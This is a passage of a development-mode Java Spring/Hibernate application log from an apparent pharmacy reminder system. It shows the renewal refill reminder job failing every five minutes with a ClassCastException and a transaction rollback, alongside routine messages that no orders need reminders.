org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 20:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 20:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 20:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 20:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 20:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 20:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 20:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 20:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 20:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 20:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 20:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 20:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 20:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 20:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 20:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 20:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 20:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 20:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 20:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 20:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 20:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 20:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 20:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 20:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 20:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 20:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 20:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 20:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 20:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at 